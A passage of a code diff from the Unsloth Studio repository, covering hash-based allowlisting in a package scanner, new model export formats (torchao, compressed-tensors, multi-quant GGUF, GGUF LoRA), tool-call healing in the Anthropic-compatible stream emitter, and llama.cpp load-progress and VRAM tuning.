so a future payload in a baselined file/check is not auto-suppressed.
"""
return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
return (
_norm_pkg(f.package),
_relpath_in_package(f.filename),
f.check,
_evidence_hash(f.evidence),
)
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
@ -2565,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
keys: set[tuple[str, str, str]] = set()
for e in data.get("entries", []):
if not isinstance(data, dict):
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
return set()
entries = data.get("entries", [])
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
keys: set[tuple[str, str, str, str]] = set()
legacy = 0
for e in entries:
if not isinstance(e, dict):
continue
try:
keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
# Use the reviewed hash; else recompute it from the stored evidence.
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
if not e.get("evidence_hash"):
legacy += 1
keys.add(
(
_norm_pkg(e["package"]),
_relpath_in_package(e["file"]),
e["check"],
evidence_hash,
)
)
except (KeyError, TypeError):
continue
if legacy:
print(
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
f"not suppress until regenerated with --write-baseline (findings reopen "
f"rather than risk hiding changed code under a coarse key)",
file = sys.stderr,
)
return keys
def _write_baseline(path: str, findings: list[Finding]) -> None:
"""Persist CRITICAL/HIGH findings as an allowlist for human triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
seen: set[tuple[str, str, str, str]] = set()
for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
if f.severity not in (CRITICAL, HIGH):
continue
@ -2591,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
"file": _relpath_in_package(f.filename),
"check": f.check,
"severity": f.severity,
"evidence": f.evidence[:240],
"evidence": f.evidence,
"evidence_hash": _evidence_hash(f.evidence),
}
)
doc = {
"_comment": (
"scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
"manually judged benign. Matched on (package, package-relative file, "
"check); evidence/severity are for review only. Regenerate with "
"--write-baseline AFTER reviewing every line."
"check, evidence_hash); evidence_hash is over the matched code with "
"L<NN>: markers stripped, so version bumps and line shifts do not "
"reopen an entry but changed code does. severity and evidence are for "
"review only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": 1,
"entries": entries,
@ -2611,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:

800
scripts/scan_packages_baseline.json
View file

File diff suppressed because one or more lines are too long

11
studio/backend/auth/authentication.py
View file

@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend
)
async def authenticated_via_api_key(
credentials: HTTPAuthorizationCredentials = Depends(security),
) -> bool:
"""True when the caller used an sk-unsloth API key, not a UI session JWT.
Lets routes treat programmatic API callers differently from the Studio UI
(e.g. refuse a teardown the UI would allow).
"""
return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX))
async def get_current_subject_allow_password_change(
credentials: HTTPAuthorizationCredentials = Depends(security),
) -> str:

305
studio/backend/core/export/export.py
View file

@ -13,7 +13,18 @@ import shutil
import contextlib
from pathlib import Path
from typing import Optional, Tuple, List
from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable
# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash.
try:
from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX
_UNSLOTH_IMPORT_ERROR = None
except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load
FastLanguageModel = None
FastVisionModel = None
_IS_MLX = False
_UNSLOTH_IMPORT_ERROR = _unsloth_exc
from huggingface_hub import HfApi, ModelCard
from utils.hardware import clear_gpu_cache
@ -27,14 +38,46 @@ from utils.paths import (
)
from core.inference import get_inference_backend
# GPU-only imports — guarded for Apple Silicon where these aren't needed
# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays
# importable; export then degrades to a clear "PyTorch is not installed" error.
torch = None
_TORCH_IMPORT_ERROR: Optional[BaseException] = None
if not _IS_MLX:
from peft import PeftModel, PeftModelForCausalLM
from transformers.modeling_utils import PushToHubMixin
import torch
try:
from peft import PeftModel, PeftModelForCausalLM
from transformers.modeling_utils import PushToHubMixin
import torch
except Exception as _torch_exc: # ImportError, or a broken native torch load
_TORCH_IMPORT_ERROR = _torch_exc
logger = get_logger(__name__)
def _export_runtime_available() -> bool:
"""True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host)."""
return bool(_IS_MLX) or (FastLanguageModel is not None)
def _export_runtime_message() -> str:
"""Precise reason the export runtime is unavailable, mirroring hardware.export_capability()."""
if torch is None:
return (
"PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
"(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
)
return (
"Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported "
"accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on "
"CPU only.)"
)
# Kept for call sites / tests referencing the PyTorch-missing text.
_PYTORCH_MISSING_MESSAGE = (
"PyTorch is not installed. Model export requires PyTorch with a supported accelerator "
"(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export."
)
_LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False
@ -58,6 +101,28 @@ def _compressed_export_supported():
return False
def _torchao_export_supported():
"""True if the installed unsloth build has the portable torchao FP8/INT8 export path."""
try:
import unsloth.save as _us
return hasattr(_us, "_normalize_torchao_method")
except Exception:
return False
def _has_nvidia_gpu():
"""True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it."""
try:
from utils.hardware import hardware as _hw
return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM
except Exception:
try:
import torch
return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None
except Exception:
return False
def _hf_offline(timeout = 3):
"""True if export should avoid the Hub: honors the HF offline env vars, else does one
cheap TCP reachability probe so a network-down load uses local files / the HF cache
@ -394,13 +459,17 @@ class ExportBackend:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
compressed_method: Optional[str] = None,
) -> Tuple[bool, str, Optional[str]]:
"""
Export merged model (for PEFT models).
Args:
save_directory: Local directory to save model
format_type: "16-bit (FP16)" or "4-bit (FP4)"
format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label
compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8",
"fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides
format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES.
push_to_hub: Whether to push to Hugging Face Hub
repo_id: Hub repository ID (username/model-name)
hf_token: Hugging Face token
@ -409,38 +478,108 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
if not self.is_peft:
return (
False,
"This is not a PEFT model. Use 'Export Base Model' instead.",
None,
)
# Merged export works for PEFT adapters and non-PEFT Local/HF base models alike
# (save_pretrained_merged is a no-op merge that just saves the base).
output_path: Optional[str] = None
# compressed-tensors formats run save_pretrained_merged with an FP8/FP4 save_method and
# write to a sibling "<dir>-<suffix>" directory (for vLLM).
_COMPRESSED = {
"FP8 (compressed-tensors)": ("fp8", "fp8"),
"NVFP4 (compressed-tensors)": ("nvfp4", "nvfp4"),
# Quantized formats save to a sibling "<dir>-<suffix>". Two backends: compressed-tensors
# (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias
# comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label.
_LABEL_TO_ALIAS = {
"FP8 (compressed-tensors)": "fp8",
"NVFP4 (compressed-tensors)": "nvfp4",
}
is_compressed = format_type in _COMPRESSED
compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)
compressed_suffix: Optional[str] = None
# Classify the alias: torchao-portable vs compressed-tensors.
torchao_info = None
if compressed_alias and _torchao_export_supported():
try:
import unsloth.save as _us_t
torchao_info = _us_t._normalize_torchao_method(compressed_alias)
except Exception:
torchao_info = None
is_torchao = torchao_info is not None
is_compressed = compressed_alias is not None and not is_torchao
try:
if _IS_MLX:
if is_compressed:
return False, "Compressed-tensors export is not supported on macOS/MLX.", None
mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
elif is_compressed:
if _IS_MLX and (is_compressed or is_torchao):
return (
False,
"Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. "
"Use 16-bit or GGUF.",
None,
)
if is_torchao:
# Portable torchao: no NVIDIA GPU, no calibration.
compressed_suffix = torchao_info[1]
if is_compressed:
# compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed.
if not _has_nvidia_gpu():
return (
False,
"Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other "
"hardware use the portable FP8/INT8 (torchao) formats or 16-bit.",
None,
)
if not _compressed_export_supported():
return (
False,
"Compressed-tensors (FP8/NVFP4) export requires an Unsloth build with "
"Compressed-tensors (FP8/FP4) export requires an Unsloth build with "
"compressed-tensors support. Upgrade unsloth, or choose 16-bit.",
None,
)
save_method = _COMPRESSED[format_type][0]
import unsloth.save as _us
# Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models
# (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports
# through it when available; else fall back to the workspace 0.10.x path below.
_shadow_pp = None
try:
from utils.transformers_version import llmcompressor_shadow_pythonpath
_shadow_pp = llmcompressor_shadow_pythonpath()
except Exception as e:
logger.warning(f"llm-compressor-main shadow unavailable: {e}")
if _shadow_pp:
os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp
else:
# No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its
# transformers ceiling, so fail fast for sidecar models; default-tier still works.
os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None)
_exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling()
if _exceeds:
return (
False,
"FP8/FP4 compressed-tensors export is not available for this model: it "
f"runs under transformers {_tf_ver}, but the installed llm-compressor "
f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the "
"llm-compressor-main runtime could not be provisioned (offline or "
"UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.",
None,
)
try:
info = _us._normalize_compressed_method(compressed_alias)
except Exception as e:
return False, f"Unsupported compressed export '{compressed_alias}': {e}", None
if info is None:
return (
False,
f"'{compressed_alias}' is not a recognized compressed-tensors export.",
None,
)
compressed_suffix = info[2]
if _IS_MLX:
mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
elif is_compressed or is_torchao:
save_method = compressed_alias
elif format_type == "4-bit (FP4)":
save_method = "merged_4bit_forced"
elif self._audio_type == "whisper":
@ -464,10 +603,10 @@ class ExportBackend:
save_directory, self.current_tokenizer, save_method = save_method
)
# Compressed export writes to the "<dir>-<suffix>" sibling; report that as output.
# Compressed / torchao writes to the "<dir>-<suffix>" sibling; report that as output.
final_dir = (
f"{save_directory}-{_COMPRESSED[format_type][1]}"
if is_compressed
f"{save_directory}-{compressed_suffix}"
if (is_compressed or is_torchao)
else save_directory
)
self._write_export_metadata(final_dir)
@ -507,10 +646,9 @@ class ExportBackend:
token = hf_token,
private = private,
)
elif is_compressed and output_path and Path(output_path).is_dir():
# The compressed model was already built locally in output_path; upload it
# directly so we do not re-run the (expensive, OOM-prone) compression that
# push_to_hub_merged(save_method=fp8/nvfp4) would otherwise do a second time.
elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():
# Already built in output_path; upload it directly instead of re-running the
# expensive quantization that push_to_hub_merged(save_method=...) would redo.
hf_api = HfApi(token = hf_token)
repo_id = PushToHubMixin._create_repo(
PushToHubMixin,
@ -522,7 +660,7 @@ class ExportBackend:
username = repo_id.split("/")[0],
base_model = getattr(self.current_model.config, "_name_or_path", "unknown"),
model_type = getattr(self.current_model.config, "model_type", "llm"),
method = format_type,
method = compressed_alias or format_type,
extra = "unsloth",
)
ModelCard(content).push_to_hub(
@ -568,6 +706,8 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
@ -686,7 +826,7 @@ class ExportBackend:
def export_gguf(
self,
save_directory: str,
quantization_method: str = "Q4_K_M",
quantization_method = "Q4_K_M",
push_to_hub: bool = False,
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
@ -697,7 +837,9 @@ class ExportBackend:
Args:
save_directory: Local directory to save model
quantization_method: GGUF quantization method (e.g., "Q4_K_M")
quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them
(e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single
model load (unsloth save_to_gguf loops internally).
push_to_hub: Whether to push to Hugging Face Hub
repo_id: Hub repository ID
hf_token: Hugging Face token
@ -705,11 +847,13 @@ class ExportBackend:
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
# Only forward imatrix_file to an unsloth build that accepts it; otherwise even a plain
# no-imatrix export would fail with an unexpected-keyword error against an older unsloth.
# Only forward imatrix_file to an unsloth build that accepts it, else older builds raise
# an unexpected-keyword error even for a plain no-imatrix export.
if imatrix_file is not None and not _supports_kwarg(
self.current_model.save_pretrained_gguf, "imatrix_file"
):
@ -724,8 +868,14 @@ class ExportBackend:
output_path: Optional[str] = None
model_tmp_to_cleanup: Optional[str] = None
try:
# unsloth expects lowercase quant method
quant_method = quantization_method.lower()
# Normalize to a lowercased list so multiple quants come from one model load.
if isinstance(quantization_method, (list, tuple)):
quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()]
else:
quant_methods = [str(quantization_method).lower()]
if not quant_methods:
quant_methods = ["q4_k_m"]
quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0]
# Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it
# can't drift past the pinned llama-quantize binary's gguf API.
@ -847,7 +997,7 @@ class ExportBackend:
return (
True,
f"GGUF model exported successfully ({quantization_method})",
f"GGUF model exported successfully ({', '.join(quant_methods)})",
output_path,
)
@ -867,19 +1017,56 @@ class ExportBackend:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
gguf: bool = False,
gguf_outtype: str = "q8_0",
) -> Tuple[bool, str, Optional[str]]:
"""
Export LoRA adapter only (not merged).
Args:
gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp
convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.
gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32.
Returns:
Tuple of (success: bool, message: str, output_path: Optional[str])
"""
if not _export_runtime_available():
return False, _export_runtime_message(), None
if not self.current_model or not self.current_tokenizer:
return False, "No model loaded. Please select a checkpoint first.", None
if not self.is_peft:
return False, "This is not a PEFT model. No adapter to export.", None
_GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32")
if gguf:
if _IS_MLX:
return (
False,
"GGUF LoRA adapter export is not supported on macOS/MLX. "
"Use the safetensors adapter instead.",
None,
)
outtype = str(gguf_outtype).lower()
if outtype not in _GGUF_LORA_OUTTYPES:
return (
False,
f"Invalid GGUF LoRA outtype '{gguf_outtype}'. "
f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.",
None,
)
# getattr so an older build without save_pretrained_gguf returns a clean message
# instead of an AttributeError (a generic 500).
_save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None)
if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"):
return (
False,
"This Unsloth build does not support GGUF LoRA adapter export. "
"Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.",
None,
)
output_path: Optional[str] = None
try:
if save_directory:
@ -887,7 +1074,24 @@ class ExportBackend:
logger.info(f"Saving LoRA adapter locally to: {save_directory}")
ensure_dir(Path(save_directory))
if _IS_MLX:
if gguf:
# Writes the adapter files plus "<base>-lora-<outtype>.gguf".
_apply_wsl_sudo_patch()
self.current_model.save_pretrained_gguf(
save_directory,
self.current_tokenizer,
save_method = "lora",
quantization_method = outtype,
# Forward the token so convert_lora_to_gguf.py can fetch a gated base's config.
token = hf_token or None,
)
final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf")))
logger.info(
"LoRA GGUF export complete. Files in %s:\n %s",
save_directory,
"\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)",
)
elif _IS_MLX:
# MLX: save adapters.safetensors + tokenizer files
self.current_model.save_lora_adapters(save_directory)
self.current_tokenizer.save_pretrained(save_directory)
@ -907,7 +1111,24 @@ class ExportBackend:
logger.info(f"Pushing LoRA adapter to Hub: {repo_id}")
if _IS_MLX:
if gguf:
# Upload the locally-built GGUF folder; needs a local save_directory so the
# conversion is not re-run.
if not (output_path and Path(output_path).is_dir()):
return (
False,
"GGUF LoRA Hub upload requires a local save directory; set one and "
"retry.",
None,
)
hf_api = HfApi(token = hf_token)
hf_api.create_repo(repo_id, private = private, exist_ok = True)
hf_api.upload_folder(
folder_path = output_path,
repo_id = repo_id,
repo_type = "model",
)
elif _IS_MLX:
with tempfile.TemporaryDirectory() as tmp_dir:
self.current_model.save_lora_adapters(tmp_dir)
self.current_tokenizer.save_pretrained(tmp_dir)

18
studio/backend/core/export/orchestrator.py
View file

@ -456,6 +456,7 @@ class ExportOrchestrator:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
compressed_method: Optional[str] = None,
) -> Tuple[bool, str, Optional[str]]:
"""Export merged PEFT model."""
return self._run_export(
@ -467,6 +468,7 @@ class ExportOrchestrator:
"repo_id": repo_id,
"hf_token": hf_token,
"private": private,
"compressed_method": compressed_method,
},
)
@ -495,13 +497,13 @@ class ExportOrchestrator:
def export_gguf(
self,
save_directory: str,
quantization_method: str = "Q4_K_M",
quantization_method = "Q4_K_M",
push_to_hub: bool = False,
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
imatrix_file = None,
) -> Tuple[bool, str, Optional[str]]:
"""Export model in GGUF format."""
"""Export model in GGUF format. `quantization_method` may be a single method or a list."""
return self._run_export(
"gguf",
{
@ -521,8 +523,10 @@ class ExportOrchestrator:
repo_id: Optional[str] = None,
hf_token: Optional[str] = None,
private: bool = False,
gguf: bool = False,
gguf_outtype: str = "q8_0",
) -> Tuple[bool, str, Optional[str]]:
"""Export LoRA adapter only."""
"""Export LoRA adapter only (optionally also as a GGUF LoRA file)."""
return self._run_export(
"lora",
{
@ -531,6 +535,8 @@ class ExportOrchestrator:
"repo_id": repo_id,
"hf_token": hf_token,
"private": private,
"gguf": gguf,
"gguf_outtype": gguf_outtype,
},
)
@ -557,9 +563,13 @@ class ExportOrchestrator:
cmd = {"type": "export", "export_type": export_type, **params}
try:
self._send_cmd(cmd)
# GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them
# all in one op off a single merge, so scale the timeout by the quant count.
_qm = params.get("quantization_method")
_n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1
resp = self._wait_response(
f"export_{export_type}_done",
timeout = 3600, # GGUF for 30B+ models can take 30+ min
timeout = 3600 * max(1, _n),
)
op_success = resp.get("success", False)
op_message = resp.get("message", "")

3
studio/backend/core/export/worker.py
View file

@ -397,6 +397,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
repo_id = cmd.get("repo_id"),
hf_token = cmd.get("hf_token"),
private = cmd.get("private", False),
compressed_method = cmd.get("compressed_method"),
)
elif export_type == "base":
success, message, output_path = backend.export_base_model(
@ -423,6 +424,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
repo_id = cmd.get("repo_id"),
hf_token = cmd.get("hf_token"),
private = cmd.get("private", False),
gguf = cmd.get("gguf", False),
gguf_outtype = cmd.get("gguf_outtype", "q8_0"),
)
else:
success, message = False, f"Unknown export type: {export_type}"

147
studio/backend/core/inference/anthropic_compat.py
View file

@ -494,6 +494,29 @@ class AnthropicPassthroughEmitter:
self._usage: dict = {}
self._stop_reason: str = "end_turn"
self._stop_sequence: Optional[str] = None
# Optional text-form tool-call healing (client-tool passthrough only).
self._healer = None
self._healed_tool_use = False
self._healed_call_count = 0
self._heal_disable_parallel = False
def enable_healing(
self,
allowed_tools: set,
tools: Optional[list] = None,
*,
disable_parallel_tool_use: bool = False,
) -> None:
"""Promote text-form tool calls in streamed content to tool_use blocks.
Only calls naming a tool in ``allowed_tools`` (the client's declared
tools) are promoted; everything else streams as text exactly as before.
Never enabled for Studio's own tool loop.
"""
from core.inference.passthrough_healing import StreamToolCallHealer
self._healer = StreamToolCallHealer(allowed_tools, tools)
self._heal_disable_parallel = disable_parallel_tool_use
def start(
self,
@ -542,29 +565,42 @@ class AnthropicPassthroughEmitter:
delta = choice.get("delta") or {}
finish_reason = choice.get("finish_reason")
# ── Structured tool calls take precedence over healing ──
# Grammar mode worked: flush anything the healer held (it preceded the
# call in the model's output) and relay verbatim from here on.
if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant:
for kind, value in self._healer.structured_tool_call_seen():
if kind == "text" and value:
events.extend(self._emit_text_delta(value))
# ── Text content ──
content = delta.get("content")
if content:
if self._current_block_type != "text":
if self._current_block_type is not None:
events.append(self._close_current_block())
events.extend(self._open_text_block())
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {"type": "text_delta", "text": content},
},
)
)
if content and self._healer is not None and not self._healer.dormant:
# Route text through the healer: held/promoted portions become
# synthetic tool_use blocks, the rest streams as text unchanged.
for kind, value in self._healer.feed(content):
if kind == "text":
events.extend(self._emit_text_delta(value))
else:
events.extend(self._emit_healed_tool_use(value))
elif content:
events.extend(self._emit_text_delta(content))
# ── Tool calls (streaming deltas) ──
tool_calls = delta.get("tool_calls") or []
for tc in tool_calls:
tc_idx = tc.get("index", 0)
fn = tc.get("function") or {}
if (
self._heal_disable_parallel
and tc_idx not in self._tool_call_states
and (self._healed_call_count + len(self._tool_call_states)) >= 1
):
# disable_parallel_tool_use: a healed call already consumed the
# single allowed slot. The caller's chunk-level cap only sees
# native indexes, so drop this native call (and its later
# argument deltas, which never allocate a state either).
continue
if tc_idx not in self._tool_call_states:
# New tool call — close prior block, open tool_use block
if self._current_block_type is not None:
@ -618,6 +654,17 @@ class AnthropicPassthroughEmitter:
def finish(self) -> list[str]:
events: list[str] = []
if self._healer is not None:
# Last-chance heal of any held residue (e.g. an unclosed tool block).
for kind, value in self._healer.finalize():
if kind == "text" and value:
events.extend(self._emit_text_delta(value))
elif kind == "tool_call":
events.extend(self._emit_healed_tool_use(value))
if self._healed_tool_use and self._stop_reason != "max_tokens":
# A promoted call must stop for tool use; a truncation still wins
# (its arguments may be incomplete).
self._stop_reason = "tool_use"
if self._current_block_type is not None:
events.append(self._close_current_block())
events.append(
@ -641,6 +688,76 @@ class AnthropicPassthroughEmitter:
)
return events
def _emit_text_delta(self, content: str) -> list[str]:
events: list[str] = []
if self._current_block_type != "text":
if self._current_block_type is not None:
events.append(self._close_current_block())
events.extend(self._open_text_block())
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {"type": "text_delta", "text": content},
},
)
)
return events
def _emit_healed_tool_use(self, call: dict) -> list[str]:
# A healed call arrives complete, so its tool_use block opens, carries
# one input_json_delta, and closes immediately; an open text block is
# closed first (only the safe prefix ever streamed into it).
if (
self._heal_disable_parallel
and (self._healed_call_count + len(self._tool_call_states)) >= 1
):
# Healed and native calls share the single allowed slot.
return []
events: list[str] = []
if self._current_block_type is not None:
events.append(self._close_current_block())
function = call.get("function") or {}
tool_id = anthropic_tool_use_id("")
self.block_index += 1
self._current_block_type = "tool_use"
events.append(
build_anthropic_sse_event(
"content_block_start",
{
"type": "content_block_start",
"index": self.block_index,
"content_block": {
"type": "tool_use",
"id": tool_id,
"name": function.get("name", ""),
"input": {},
},
},
)
)
arguments = function.get("arguments") or ""
if arguments:
events.append(
build_anthropic_sse_event(
"content_block_delta",
{
"type": "content_block_delta",
"index": self.block_index,
"delta": {
"type": "input_json_delta",
"partial_json": arguments,
},
},
)
)
events.append(self._close_current_block())
self._healed_tool_use = True
self._healed_call_count += 1
return events
def _open_text_block(self) -> list[str]:
self.block_index += 1
self._current_block_type = "text"

424
studio/backend/core/inference/llama_cpp.py
View file

@ -801,7 +801,11 @@ _MTP_MIN_SIZE_B = 3.0
# Cap total GPU occupancy at this fraction of the card. The fit reserves an
# absolute (1 - frac) * total per GPU when total VRAM is known, else a fraction
# of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve.
_CTX_FIT_VRAM_FRACTION = 0.95
# 3%: the context-linear compute buffer is now modelled (_compute_buffer_ctx_bytes),
# so this cushion no longer covers it - only fragmentation, the per-device CUDA
# context on a multi-GPU split, and MoE routing, which measure ~2-3% (Qwen3.5-397B on
# 3 GPUs under-predicts by 2.7%). Below 3% one fragmentation spike overflows to CPU.
_CTX_FIT_VRAM_FRACTION = 0.97
# Apple unified memory is shared with the OS, so tighter than VRAM. Matches the
# 0.85 MLX uses in mlx_inference.py (_configure_memory_limits); not kept in sync.
@ -1223,6 +1227,25 @@ def _backfill_usage_from_timings(usage, timings):
return out
def _is_external_link(path: Path) -> bool:
"""True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
or a Windows directory junction / reparse point. Such a link resolves into
the user's own llama.cpp checkout, which Studio does not own."""
try:
if os.path.islink(path):
return True
except OSError:
return False
if os.name == "nt":
try:
import stat
attrs = os.lstat(path).st_file_attributes # type: ignore[attr-defined]
return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
except (OSError, AttributeError):
return False
return False
class LlamaCppBackend:
"""Manages a llama-server subprocess for GGUF model inference.
@ -1254,6 +1277,7 @@ class LlamaCppBackend:
self._is_diffusion: bool = False
self._diffusion_visual_bin: Optional[str] = None
self._healthy = False
self._load_rss_hwm = (None, 0) # (pid, peak VmRSS) for load_progress
self._stats_logger = None # vLLM-style engine-stats poller, set on load
# Set by _classify_gpu_offload after _wait_for_health.
self._gpu_offload_active: Optional[bool] = None
@ -1461,6 +1485,21 @@ class LlamaCppBackend:
"""Return the model's native context length from GGUF metadata."""
return self._context_length
@staticmethod
def _read_rss_bytes(pid: int) -> Optional[int]:
"""Resident set size of ``pid`` in bytes, from /proc/<pid>/status (Linux).
0 when the status has no VmRSS line (zombie / kernel thread); None where
/proc is unavailable (macOS/Windows) or the value is unreadable."""
try:
with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f:
for line in f:
if line.startswith("VmRSS:"):
# IndexError guards a "VmRSS:" line with no value column.
return int(line.split()[1]) * 1024 # kB -> bytes
except (FileNotFoundError, PermissionError, ValueError, IndexError, OSError):
return None
return 0 # readable but no VmRSS line
def load_progress(self) -> Optional[dict]:
"""Return live model-load progress, or None if not loading.
@ -1520,22 +1559,32 @@ class LlamaCppBackend:
except OSError:
pass
# Read VmRSS from /proc/<pid>/status (kilobytes on Linux).
bytes_loaded = 0
try:
with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f:
for line in f:
if line.startswith("VmRSS:"):
kb = int(line.split()[1])
bytes_loaded = kb * 1024
break
except (FileNotFoundError, PermissionError, ValueError, OSError):
# VmRSS of the llama-server; None where /proc is unavailable.
bytes_loaded = LlamaCppBackend._read_rss_bytes(pid)
if bytes_loaded is None:
return None
# RSS climbs as weights page in, then drops once -ngl offloads them to
# VRAM and the mmap pages are freed. Hold a per-process high-water mark
# so the bar never regresses to ~8% mid-load (#5740).
hwm_pid, hwm = getattr(self, "_load_rss_hwm", (None, 0))
hwm = bytes_loaded if hwm_pid != pid else max(hwm, bytes_loaded)
self._load_rss_hwm = (pid, hwm)
bytes_loaded = hwm
phase = "ready" if self._healthy else "mmap"
fraction = 0.0
if bytes_total > 0:
fraction = min(1.0, bytes_loaded / bytes_total)
# Once llama-server is healthy the load is complete by definition. With
# layers offloaded to VRAM (-ngl) the process releases the mmap'd weight
# pages, so VmRSS sinks back well below the shard total; the raw RSS
# fraction would then report a partial (~8%) load indefinitely and freeze
# a fraction-driven progress bar even though the model is ready (#5740).
if self._healthy:
if bytes_total > 0:
bytes_loaded = bytes_total
fraction = 1.0
return {
"phase": phase,
"bytes_loaded": bytes_loaded,
@ -2419,9 +2468,10 @@ class LlamaCppBackend:
prev = curr
# Free-VRAM fraction at which Studio pins the GPU directly instead of
# deferring to ``--fit on``. 5% headroom covers CUDA context + compute
# buffers; 0.90 dropped 91-94% fits to CPU offload (#5106).
